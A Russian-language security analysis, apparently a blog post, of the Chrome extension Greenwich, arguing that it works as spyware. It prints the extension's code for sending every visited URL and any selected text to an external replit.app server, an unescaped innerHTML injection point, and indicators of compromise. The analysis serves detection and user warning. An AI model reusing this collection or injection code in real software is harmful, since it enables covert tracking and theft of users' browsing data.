Браузерные расширения давно перестали быть чем-то экзотическим. Мы ставим переводчики, блокировщики рекламы, менеджеры паролей, инструменты для заметок — и редко задумываемся о том, что расширение по своей природе имеет куда больше привилегий, чем обычный сайт.

Расширение может:

  • читать содержимое любой страницы,

  • отслеживать навигацию,

  • изменять DOM,

  • отправлять данные на внешний сервер.

В этой статье разберём расширение Greenwich, которое позиционируется как инструмент для предложения «связанных ссылок» на любой странице. На первый взгляд — социальная функция, что-то вроде коллективных аннотаций. Но при детальном разборе становится понятно: поведение расширения выходит далеко за рамки заявленной функциональности и очень похоже на spyware-модель сбора данных.

Архитектура: всё стандартно — и в этом проблема

Расширение построено по модели Manifest V3:

  • background.js — service worker

  • contentScript.js — внедрение в страницы

  • popup.js — интерфейс отправки «предложений»

  • внешний backend на greenwich-for-chrome.replit.app

Самый важный момент — область внедрения.

В манифесте указано:

"content_scripts": [{
  "matches": ["<all_urls>"],
  "run_at": "document_end"
}],
"host_permissions": ["<all_urls>"]

Это означает буквально следующее:

  • расширение внедряется на все сайты без исключений;

  • оно может читать и изменять содержимое любой страницы;

  • оно может отслеживать действия пользователя везде.

Для функции «добавить связанную ссылку» такие права выглядят чрезмерными. Это не специализированный инструмент для одного домена — это глобальный наблюдатель.

Отслеживание каждой загрузки страницы

В background.js используется chrome.webNavigation.onCommitted:

chrome.webNavigation.onCommitted.addListener(function(details) {
    if (details.frameId === 0) {
        chrome.tabs.query({ active: true, currentWindow: true }, function(tabs) {
            const url = tabs[0].url;
            fetchPostIts(url);
        });
    }
});

Что это означает на практике?

Каждый раз, когда пользователь открывает новую страницу:

  1. расширение перехватывает событие навигации;

  2. получает URL активной вкладки;

  3. отправляет этот URL на внешний сервер.

Фактически это постоянная передача истории посещений.

Даже если сервер «только возвращает связанные ссылки», он неизбежно получает полный список сайтов, которые пользователь открывает. Это уже телеметрия поведения.

Передача истории на внешний сервер

Запрос выглядит так:

fetch(`https://greenwich-for-chrome.replit.app/getPostIts?sourceUrl=${encodeURIComponent(url)}`)

Каждый открытый сайт отправляется на удалённый backend.

Пользователь при этом:

  • не видит явного уведомления,

  • не даёт отдельного согласия на сбор истории,

  • не получает информации о хранении этих данных.

Если backend ведёт логирование — это полноценная база истории посещений.

Для «социальных ссылок» это выглядит как избыточный сбор данных.

Перехват любого выделенного текста

Следующий фрагмент кода особенно показателен:

document.addEventListener('mouseup', function () {
    const selectedText = window.getSelection().toString().trim();
    chrome.storage.local.set({'currentSelectedText': selectedText});
});

Каждый раз, когда пользователь выделяет текст на странице, расширение его считывает и сохраняет.

Что может оказаться в этом тексте?

  • переписка в веб-почте,

  • фрагменты внутренних документов,

  • токены и API-ключи,

  • данные из CRM,

  • банковская информация,

  • служебные отчёты.

Да, текст не отправляется немедленно. Но он сохраняется и затем используется при формировании POST-запроса при создании «предложения».

С точки зрения модели угроз это уже перехват пользовательского ввода.

Отправка контента на сервер

Когда пользователь создаёт предложение, выполняется POST-запрос:

fetch('https://greenwich-for-chrome.replit.app/addPostIt', {
    method: 'POST',
    body: JSON.stringify({
        source_url,
        highlighted_text,
        suggested_link,
        description
    })
})

Сервер получает:

  • URL страницы,

  • выделенный текст,

  • описание,

  • предложенную ссылку.

Это уже не просто метаданные — это контент страницы и пользовательский ввод.

Если backend логирует данные (а проверить это невозможно), формируется централизованное хранилище пользовательской активности.

Как формируется и отправляется пакет данных

Окончательная картина становится понятной в popup.js:

chrome.storage.local.get(['currentSelectedText', 'source_url'], (result) => {
    const selectedText = result.currentSelectedText || '';
    const source_url = result.source_url || '';

    const postData = {
        source_url: source_url,
        highlighted_text: selectedText,
        suggested_link: url,
        description: description
    };

    fetch('https://greenwich-for-chrome.replit.app/addPostIt', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(postData)
    })
});

Здесь видно, что:

  • ранее перехваченный текст берётся из chrome.storage.local,

  • URL страницы также берётся из локального хранилища,

  • формируется единый объект postData,

  • данные отправляются на внешний сервер.

Таким образом создаётся централизованный поток информации:

  • какие сайты посещает пользователь,

  • какие фрагменты текста он выделяет,

  • какие ссылки добавляет,

  • какие комментарии пишет.

Это уже не локальная функциональность, а архитектурно заложенный механизм агрегации данных.

Инъекция в DOM и потенциальные XSS-риски

Расширение активно модифицирует DOM:

  • добавляет CSS,

  • вставляет <sup> элементы,

  • создаёт HTML через innerHTML.

Например:

postIt.innerHTML = `
    <div class="post-it-header">Suggested Link</div>
    <p>${selectedText}</p>
    <a href="${url}" target="_blank">${url}</a>
`;

Данные вставляются без явного экранирования.

Если сервер когда-нибудь начнёт возвращать вредоносный payload, расширение сможет внедрить его в любой сайт — включая банки и корпоративные порталы.

Таким образом, оно создаёт универсальную точку инъекции.

Централизация данных на стороннем backend

Backend размещён на Replit — это облачная среда разработки.

Ключевая проблема здесь не в самой платформе, а в том, что:

  • серверная часть закрыта;

  • невозможно проверить, как именно обрабатываются данные;

  • логику можно изменить без обновления расширения.

С сегодняшнего дня сервер может:

  • начать сохранять полную историю посещений;

  • агрегировать поведенческие профили;

  • передавать данные третьим лицам.

Пользователь об этом не узнает.

Почему это уже можно считать вредоносным

Если сложить всё вместе, получаем следующую картину:

  • глобальный доступ ко всем сайтам;

  • отслеживание навигации;

  • передача истории посещений;

  • перехват выделенного текста;

  • централизованный сбор данных;

  • отсутствие прозрачного уведомления.

Функционально расширение реализует:

  • поведенческую телеметрию,

  • сбор контента страниц,

  • формирование базы пользовательской активности.

Это выходит далеко за рамки заявленной цели.

Даже если изначально разработчик не ставил целью шпионаж, архитектура уже создаёт готовый механизм наблюдения.

Потенциал злоупотребления

С технической точки зрения расширение может быть использовано для:

  • профилирования интересов пользователя,

  • мониторинга посещаемых ресурсов,

  • сбора корпоративной информации,

  • подготовки фишинговых сценариев,

  • анализа контента внутренних порталов.

Достаточно изменить поведение backend — и инструмент аннотаций превращается в spyware без необходимости обновлять расширение в магазине.

Indicators of Compromise (IOC)

Идентификатор расширения

hjepnlaapopkiedfendjaieefldndecd

Путь установки в Chrome (Windows)

%LocalAppData%\Google\Chrome\User Data\Default\Extensions\hjepnlaapopkiedfendjaieefldndecd\

Хэши файлов

popup.js

  • MD5: 700b94df15d6b6a27a80aefbb017c1b1

  • SHA-1: 3bf1d5a45d77f229f5e65b434f917c1267511d66

  • SHA-256: b9e3f301137a15d9be2132b96e72de71a9846e2bdb5f57d8c1f59e76b379ffed

contentScript.js

  • MD5: 38a9ae185a8de3f18969a335fef953a7

  • SHA-1: ea74e3073f0687670298278887da749d266bb7ba

  • SHA-256: 1154661e2417ac13f80f87a8597b34a710d042ada3e765b1a1c00b91bbfea42c

background.js

  • MD5: 29a3f298cd723a31a657c9156fcbaca9

  • SHA-1: 68f349d7298472b24f81232df050c6c20a85b217

  • SHA-256: 2ee71d278c42e25dd29095a70855196c1f214a61295ebd872f4afa5a2474be4f

Заключение

Greenwich на первый взгляд выглядит как обычное расширение для обмена ссылками. Однако анализ показывает, что оно получает слишком широкий доступ к браузеру: отслеживает посещаемые сайты, реагирует на действия пользователя и взаимодействует с внешним сервером.

Даже если часть этого поведения объясняется заявленной логикой работы, сам объём прав и собираемых данных создаёт потенциальные риски. В первую очередь — это возможность утечки информации и накопления данных о действиях пользователя.

Поэтому к установке подобных расширений, особенно в рабочей или корпоративной среде, стоит относиться внимательно. Любой инструмент с доступом ко всем сайтам фактически получает доступ ко всей вашей веб-активности — и это нужно учитывать заранее.